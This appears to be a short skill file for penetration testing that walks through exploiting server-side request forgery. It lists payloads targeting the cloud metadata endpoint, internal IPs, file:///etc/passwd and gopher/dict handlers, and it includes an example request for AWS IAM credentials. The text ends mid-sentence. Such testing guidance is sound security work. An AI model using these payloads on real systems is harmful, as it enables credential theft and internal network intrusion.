performing-ssrf-vulnerability-exploitation

## When to Use - When conducting security assessments that involve performing ssrf vulnerability exploitation - When following incident response procedures for related security events - When performing scheduled security testing or auditing activities - When validating security controls through hands-on testing ## Prerequisites - Familiarity with security operations concepts and tools - Access to a test or lab environment for safe execution - Python 3.8+ with required dependencies installed - Appropriate authorization for any testing activities ## Instructions 1. Install dependencies: `pip install requests` 2. Identify URL parameters in the target application that accept URLs or hostnames. 3. Test SSRF payloads: - Cloud metadata: `http://169.254.169.254/latest/meta-data/` - Internal services: `http://127.0.0.1:port/`, `http://10.0.0.1/` - Protocol handlers: `file:///etc/passwd`, `gopher://`, `dict://` - Bypass techniques: IP encoding, DNS rebinding, URL redirects 4. Analyze responses for information disclosure or internal access confirmation. 5. Generate a vulnerability assessment report. ```bash # For authorized penetration testing and lab environments only python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json ``` ## Examples ### AWS Metadata SSRF ``` GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ ``` If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF ...